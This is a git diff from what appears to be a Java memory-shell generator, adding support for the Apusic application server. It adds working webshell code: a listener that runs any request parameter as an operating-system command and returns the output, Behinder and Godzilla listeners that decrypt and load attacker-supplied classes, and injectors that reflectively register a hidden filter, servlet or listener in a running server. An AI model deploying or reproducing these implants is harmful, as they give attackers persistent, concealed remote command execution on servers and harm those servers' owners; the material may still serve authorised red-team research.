diff --git a/generator/build.gradle b/generator/build.gradle index 95e5532c..7110fac8 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -16,12 +16,6 @@ test { finalizedBy jacocoTestReport } -idea { - module { - excludeDirs -= file('build') - } -} - def runtimeJvmArgs = [ '--add-opens=java.base/java.util=ALL-UNNAMED', '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java new file mode 100644 index 00000000..80e0ada3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener; +import com.reajason.javaweb.memshell.apusic.command.CommandListener; +import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector; +import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector; +import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Map; + +import static com.reajason.javaweb.memshell.config.Constants.*; + +/** + * @author ReaJason + * @since 2024/12/27 + */ +public class ApusicShell extends AbstractShell { + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class), + FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class), + LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class), + FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class), + LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class), + FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class), + LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index 168e1742..536e1bf4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -79,7 +79,7 @@ public enum Server { /** * 金蝶天燕中间件 */ - Apusic(null), + Apusic(new ApusicShell()), /** * 中创中间件 diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java new file mode 100644 index 00000000..a2c2006f --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java @@ -0,0 +1,117 @@ +package com.reajason.javaweb.memshell.apusic.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + // 触发 parameters 填充 response 对象 + request.getParameterMap(); + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", getInternalResponse(response)); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java new file mode 100644 index 00000000..9448737a --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java @@ -0,0 +1,68 @@ +package com.reajason.javaweb.memshell.apusic.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java new file mode 100644 index 00000000..e01145b8 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java @@ -0,0 +1,144 @@ +package com.reajason.javaweb.memshell.apusic.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + // 触发 parameters 填充 response 对象 + request.getParameterMap(); + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicFilterInjector.java new file mode 100644 index 00000000..25590675 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicFilterInjector.java @@ -0,0 +1,186 @@ +package com.reajason.javaweb.memshell.apusic.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/27 + */ +public class ApusicFilterInjector { + + static { + new ApusicFilterInjector(); + } + + public ApusicFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + if (thread.getName().contains("HouseKeeper")) { + contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + public void inject(Object context, Object filter) throws Exception { + Object webModule = getFieldValue(context, "webapp"); + if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { + System.out.println("filter already injected"); + return; + } + // addFilterMapping + Class filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping"); + Object filterMapping = filterMappingClass.newInstance(); + invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); + + // addFilterModel + invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); + + // filterMapper.populate(this.webapp.getAllFilterMappings()) + Object allFilterMappings = invokeMethod(webModule, "getAllFilterMappings", null, null); + Class filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass(); + Object filterMapper = getFieldValue(context, "filterMapper"); + invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings}); + System.out.println("filter injected successful"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicListenerInjector.java new file mode 100644 index 00000000..90dee972 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicListenerInjector.java @@ -0,0 +1,170 @@ +package com.reajason.javaweb.memshell.apusic.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/27 + */ +public class ApusicListenerInjector { + static { + new ApusicListenerInjector(); + } + + public ApusicListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + if (thread.getName().contains("HouseKeeper")) { + contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + return classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + return clazz.newInstance(); + } + } + + public void inject(Object context, Object listener) throws Exception { + Object webModule = getFieldValue(context, "webapp"); + String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null); + for (String name : listeners) { + if (getClassName().equals(name)) { + System.out.println("listener already injected"); + return; + } + } + + invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(context, "loadListeners", null, null); + System.out.println("listener injected successful"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicServletInjector.java new file mode 100644 index 00000000..abf598b3 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicServletInjector.java @@ -0,0 +1,170 @@ +package com.reajason.javaweb.memshell.apusic.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/27 + */ +public class ApusicServletInjector { + + static { + new ApusicServletInjector(); + } + + public ApusicServletInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object servlet = getShell(context); + inject(context, servlet); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + if (thread.getName().contains("HouseKeeper")) { + contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + public void inject(Object context, Object servlet) throws Exception { + Object webModule = getFieldValue(context, "webapp"); + Object servletMapper = getFieldValue(context, "servletMapper"); + if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { + System.out.println("servlet already injected"); + return; + } + invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); + invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}}); + System.out.println("servlet injected successful"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +}